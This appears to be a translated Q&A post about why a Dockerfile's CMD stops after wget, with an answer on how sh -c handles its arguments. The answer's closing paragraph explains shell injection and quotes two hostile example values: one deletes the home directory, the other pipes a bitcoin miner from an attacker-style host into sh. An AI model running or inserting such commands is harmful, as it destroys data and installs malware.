Dockerfile不执行CMD命令



我已经创建了一个Dockerfile,我将在kubernetes中进行测试。这是一个ubuntu映像,我需要它

  1. Do a wget
  2. 让一个进程运行,这样容器就不会在wget
  3. 之后关闭。

我可以使用nginx图像来遵守第2步。但我没有,相反,在CMD子句中,我只是把sleep 1000000通常为我工作,所以容器不会停止。我为什么没有做一些适当的事情来保持进程的运行,现在已经不重要了。重要的是下面这个问题。

这是我的Dockerfile
FROM ubuntu:latest
RUN apt-get update 
&& apt-get install -y iputils-ping 
&& apt-get install -y wget

CMD ["sh","-c","wget https://httpbin.org/get","&&","sleep 1000000000000"]

在我构建它之后,由于某种原因,它在我点击docker run -d <image_name>后几乎立即关闭。但是通过查看日志docker logs -t <container_name>,我可以看到wget命令工作正常。

我的问题是,为什么Dockefile的CMD的"&&","sleep 1000000000000"部分在wget完成后没有出现?我知道它没有出现,因为容器正确运行wget,然后以状态0存在,即使sleep应该让它运行几天。

我为什么要在虚拟服务器上运行wget的原因现在已经不重要了,当我在k8s上测试时,我将把它替换为一个实际的服务,看看它是否可达。所以这并不重要,问题是为什么sleep没有在wget

之后执行

解决问题正确的写法是:

CMD ["sh", "-c", "wget https://httpbin.org/get && sleep 1000000000000"]

…或者它的精确等价物

CMD wget https://httpbin.org/get && sleep 1000000000000

解释问题

sh -c只接受一个参数解析为代码。

后面的参数在运行该代码的上下文中变为$0

后面的参数变成$1

后面的参数变成了$2…等。

但是因为shell脚本wget https://httpbin.org/get不查看$0$1,所以您的所有后续参数都将被完全忽略。


这种行为有什么好处?

如果你想使用这些额外的参数,你可以这样做:

CMD ["sh", "-c", "wget "$1" && sleep "$2"", "sh", "https://httpbin.org/get", "1000000000000"]

…其中$0变为sh(用于错误消息);$1变为https://httpbin.org/get,$2变为所需的睡眠时间。

这样做的主要优点是,只有-c后面的参数才会被shell解析为代码,因此只有该参数的内容才能用于shell注入攻击(假设后面的代码没有做一些愚蠢的事情,比如eval处理该数据)。您可以将完全不受信任的内容放入后面的参数中,并且您可能需要担心wgetsleep如何解析或处理该内容,但您不需要担心shell本身如何处理它;因此,如果您正在传递来自可能试图潜入$(rm -rf ~)$(curl https://evil.co/bitcoin-miner | sh -)的人的URL,那么将该内容作为参数传递而不是与您的代码一起传递更安全。

相关内容

  • 没有找到相关文章

最新更新